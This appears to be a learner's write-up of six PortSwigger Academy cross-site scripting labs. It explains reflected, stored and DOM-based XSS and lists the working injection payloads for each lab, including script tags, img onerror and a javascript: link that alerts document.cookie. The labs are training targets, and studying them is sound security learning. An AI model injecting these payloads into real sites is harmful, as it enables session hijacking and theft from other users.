PortSwigger Academy (XSS) Cross-site scripting

1- Lab: Reflected XSS into HTML context with nothing encoded

Description:

This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.
To solve the lab, perform a cross-site scripting attack that calls the alert function.

Payload: <script>alert(1)</script>

 <section class=blog-header>
 	<h1>0 search results for '<script>alert(1)</script>'</h1>
 	<hr>
 </section>

2- Lab: Stored XSS into HTML context with nothing encoded

Description:

This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

This is a stored XSS; it will pop up once the page gets revisited.

Payload: <script>alert(1)</script>

<section class="comment">
	<p>
		<img src="[/resources/images/avatarDefault.svg](view-source:https://ac1c1fe51f743593c0a041f90034003a.web-security-academy.net/resources/images/avatarDefault.svg)" class="avatar"> <a id="author" href="[https://alex.sc](view-source:https://alex.sc/)">Alex</a> | 13 November 2021
	</p>
		<p><script>alert(1)</script></p>
	<p></p>
</section>

3- DOM XSS in document.write sink using source location.search

Description:

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.
To solve this lab, perform a cross-site scripting attack that calls the alert function.

Explanation:

DOM-based XSS involves the execution of a payload due to modifying the DOM inside the browser used by a client-side script. Since the payload resides in the DOM, the payload may not necessarily be sent to the webserver.

A DOM-based XSS attack is possible if the web application writes data to the Document Object Model without proper sanitization. The attacker can manipulate this data to include XSS content on the web page, for example, malicious JavaScript code.

More information:

Intended solution:

Whatever search is done, the value is passed onto a img src HTML tag, and it's possible to break out of there with the payload "><svg onload=alert(1)>

<section class=blog-header>
	<h1>0 search results for '&quot;&gt;&lt;svg onload=alert(1)&gt;'</h1>
	<hr>
</section>
<section class=search>

Unintended solution:

Payload: '"><script>alert(1)</script></"'

It's possible to know it's potentially vulnerable by submitting the following payloads and comparing the responses: (a, ", ">)

Now the reflection has been proved:

<section class=blog-header>
	<h1>0 search results for '&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/&quot;'</h1>
	<hr>
</section>
<section class=search>

4- Lab: DOM XSS in document.write sink using source location.search inside a select element

Description:

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.

Unintended payload: storeId=</><script>alert(1)</script><option>
Intended payload: "></select><img%20src=1%20onerror=alert(1)>

We can convert POST elements into GET through the URL with the StoreID seen on the HTML form:

<form id="stockCheckForm" action="/product/stock" method="POST">
	<input required="" type="hidden" name="productId" value="3">
    	<script>
			[... snip ...]
        </script>
	<select name="storeId">
		<option>London</option>
		<option>Paris</option>
		<option>Milan</option>
	</select>
	<button type="submit" class="button">Check stock</button>
</form>

As: https://ac401f5c1ef7cb1dc00d144400cf0014.web-security-academy.net/product?productId=3&storeId=Paris

By using a random payload as Alex, we can see this value gets into the storeId parameter:

So this website is not sanitizing or filtering by the options given above; it's possible to break out of the HTML code with the payload mentioned above.

5- Lab: DOM XSS in innerHTML sink using source location.search

Description:

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.
To solve this lab, perform a cross-site scripting attack that calls the alert function.

Payload: <img src="javascript:alert(1);"

By using a random payload as Alex, we can see this value gets into the <span> HTML tag.

Checking the JavaScript code, we can see the read function using innerHTML; it's important to note that the innerHTML sink does not accept script elements on any modern browser, nor will SVG onload events fire. This means you will need to use alternative elements like img or iframe, the payload <img src="javascript:alert(1);"  did not work, but an error-based alternative <img src=1 onerror=alert(1)> does.

6- Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search.
To solve this lab, make the "back" link alert document.cookie.

What we are doing on this exercise is modifying the value of the Back button, so it will trigger the code we want to execute once clicked.

<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>

We can change the content of returnPath through the URL https://ac341fa21f409fc1c01a1b2c00f30060.web-security-academy.net/feedback?returnPath=/ to javascript:alert(document.cookie);